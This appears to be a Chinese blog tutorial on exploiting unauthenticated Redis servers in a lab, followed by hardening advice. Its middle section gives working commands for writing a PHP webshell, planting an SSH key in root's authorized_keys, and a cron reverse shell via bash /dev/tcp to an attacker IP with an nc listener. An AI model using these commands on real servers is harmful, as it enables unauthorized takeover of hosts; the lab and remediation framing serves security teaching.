• (数据库提权——Redis)Redis未授权访问漏洞总结


    一、介绍

    1.Redis数据库

    Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

    2.漏洞介绍

    Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

    漏洞产生条件:
    (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
    (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

    漏洞检测:
    可以对目标主机使用nmap扫描

    若发现主机6379端口是对外开发的,则可以认为有redis数据库。若碰巧默认配置为空密码,而服务器仍然对外开放,则可以在另一个装有redis数据库的主机使用redis-cli -h 目标ip地址 直接远程连接

    漏洞危害:

    (1)Redis数据泄露

    Redis数据表中存储着企业的私有数据,比如一些网站的账户密码、FTP账户密码等,攻击者可以随时查看数据表的内容。

    (2)Redis数据销毁

    攻击者可以修改redis数据表,增删key项,如调用fluxhall命令清除所有key。

    (3)主机系统环境泄露,为后续攻击提供网络信息

    例如,使用 info 命令可以查看主机的相关信息,如操作系统环境、目录名、CPU/内存等敏感信息。

    (4)结合技术手段控制主机

    利用redis未经授权的漏洞,不仅对redis数据构成威胁,而且通过一定的技术手段控制目标主机系统,获得主机控制权。

    二、漏洞环境搭建

    攻击机:腾讯云服务器 系统:ubuntu 20.04 64位 公网ip地址:49.xxx.xxx.xx
    靶机:阿里云服务器 系统:ubuntu 16.04 64位 公网ip地址:101.xxx.xxx.xxx

    使用Redis版本:2.8.17

    注意:两个云服务器的相关端口要记得打开,否则redis-cli无法连接

    1.靶机下载Redis

    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
    image

    2.解压Redis

    tar xzf redis-2.8.17.tar.gz
    image

    3.进入安装目录,编译

    cd redis-2.8.17/
    make
    image
    如下图所示,编译成功
    image

    4.复制redis-server和redis-cli到/usr/bin/目录

    这一步的目的是为了我们可以直接使用该命令,而不必每次都去安装目录执行。

    cd src
    cp redis-server /usr/bin/
    cp redis-cli /usr/bin/

    image

    5.启动服务

    由于我们使用的redis版本较低,所以不需要修改redis.conf文件,已经满足漏洞利用的条件了,所以直接启动即可。

    redis-server &
    如图,启动成功!
    image

    6.环境搭建完毕,尝试连接

    我们再将上述步骤在攻击机里重新布置一次,使攻击机与靶机都安装redis服务。

    攻击机进行连接:

    redis-cli -h 靶机的ip地址

    image
    如图,无账号成功登录redis,漏洞环境已成功复现

    三、攻击方式演示

    1.写入webshell

    配置一个可读可写可执行的导出路径
    config set dir /tmp

    设置备份名为shell.php的文件且放到存放目录
    config set dbfilename shell.php

    创建webshell
    set webshell "<?php phpinfo(); ?>"

    保存
    save

    image

    查看靶机tmp文件夹,发现shell.php已成功写入
    image

    2.写入SSH公钥实现SSH登录

    (1)在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(若是靶机使用过ssh服务,则会自动生成/root/.ssh文件目录)

    (2)在攻击机中生成ssh公钥和私钥,密码设置为空:

    如图,一路回车即可
    image

    (3)进入.ssh目录,保存密钥

    进入.ssh目录
    cd ~/.ssh

    将生成的公钥保存到key.txt
    (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt
    image

    (4)将保存的key.txt文件内容写入redis
    cat /root/.ssh/key.txt | redis-cli -h 靶机ip地址 -x set pub

    image

    (5)设置redis的备份路径为:/root/.ssh/
    设置上传公钥的备份文件名为:authorized_keys

    image

    (6)已成功写入ssh公钥到靶机,测试ssh免密登录。

    ssh 靶机ip地址

    如图已成功连接
    image

    注意:我在用云服务器操作时,redis-cli突然连接不上了,后来发现是我被判定存在攻击行为把我6379端口封禁了,redis换个端口即可解决。

    3.在crontab里写定时任务,反弹shell

    靶机之前使用的ubuntu系统,演示未成功,更换为centos后重新操作一遍后成功,攻击机未变。
    (1)攻击机上监听4444端口
    nc -lnvp 4444
    (2)新开一个终端,redis-cli连接上后,写入反弹shell
    set xx "\n* * * * * bash -i >& /dev/tcp/攻击机ip地址/监听的端口号 0>&1\n"
    (3)设置导出的路径
    config set dir /var/spool/cron/
    (4)设置导出的文件名称
    config set dbfilename root
    (5)save

    image

    成功收到反弹的shell!
    image

    四、修复建议

    1.网络层加固

    指定Redis服务使用的网卡

    默认情况下,Redis 监听127.0.0.1. 如果只是本地通信,请务必在本地进行监控。

    这种方法可以在一定程度上缓解未经授权访问 Redis 的风险(在特殊情况下,如果 Redis 以 root 用户身份运行,攻击者可以利用现有的 webshell 使用 Redis 反弹 shell 来实现提权)。

    在redis.conf文件# bind 127.0.0.1前面找到#删除,然后保存。

    注意:此操作需要重启Redis才能生效。2、修改后只有本机可以访问Redis,也可以指定访问源IP访问Redis。

    2.设置防火墙策略

    如果正常业务需要其他服务器访问Redis服务,可以使用iptables策略,只允许指定IP访问Redis服务。
    iptables -A INPUT -s xxxx -p tcp --dport 6379 -j ACCEPT

    3.账号与认证

    设置访问密码

    在redis.conf查找requirepass字段中,删除其注释,并在后面填写密码。Redis 客户端也需要使用这个密码才能访问 Redis 服务。

    4.最小化服务操作权限

    修改Redis服务运行账号

    请使用较低权限的帐号运行 Redis 服务,并禁用该帐号的登录权限。

    5.精细化服务授权

    隐藏重要命令

    Redis 没有权限分离,它的管理员账户和普通账户没有明显的区别。在登录攻击者可以执行任何操作后,需要隐藏以下重要命令:FLUSHDB,FLUSHALL,KEYS,PEXPIRE,DEL,CONFIG,SHUTDOWN,BGREWRITEAOF,BGSAVE,SAVE,SPOP,SREM,RENAME,DEBUG,EVAL.

    此外,Redis 2.8.1 和 Redis 3.x(3.0.2 以下)存在 EVAL 沙盒逃逸漏洞,允许攻击者执行任意 Lua 代码。

    以下配置config/flushdb/flushall设置为null,即禁用该命令;也可能提供一个复杂的、难以猜测的名称
    (1)rename-command CONFIG ""
    (2)rename-command flushall ""
    (3)rename-command flushdb“”
    (4)rename-command shutdown shotdown_test

    保存后,执行/etc/init.d/redis-server restart重启生效

  • 相关阅读:
    【Linux】Linux终端执行docker内部shell脚本
    day31
    接口复习总结
    骨传导耳机会损伤大脑吗?一分钟详细了解骨传导耳机
    BM1684X搭建sophon sail环境
    IDEA怎么将CRLF转化为LF
    TypeScritpt中的namespace
    企业级SpringBoot单体项目模板 —— 基础应用搭建
    spring 源码编码若干问题
    命名空间和作用域
  • 原文地址:https://www.cnblogs.com/zhianku/p/16435704.html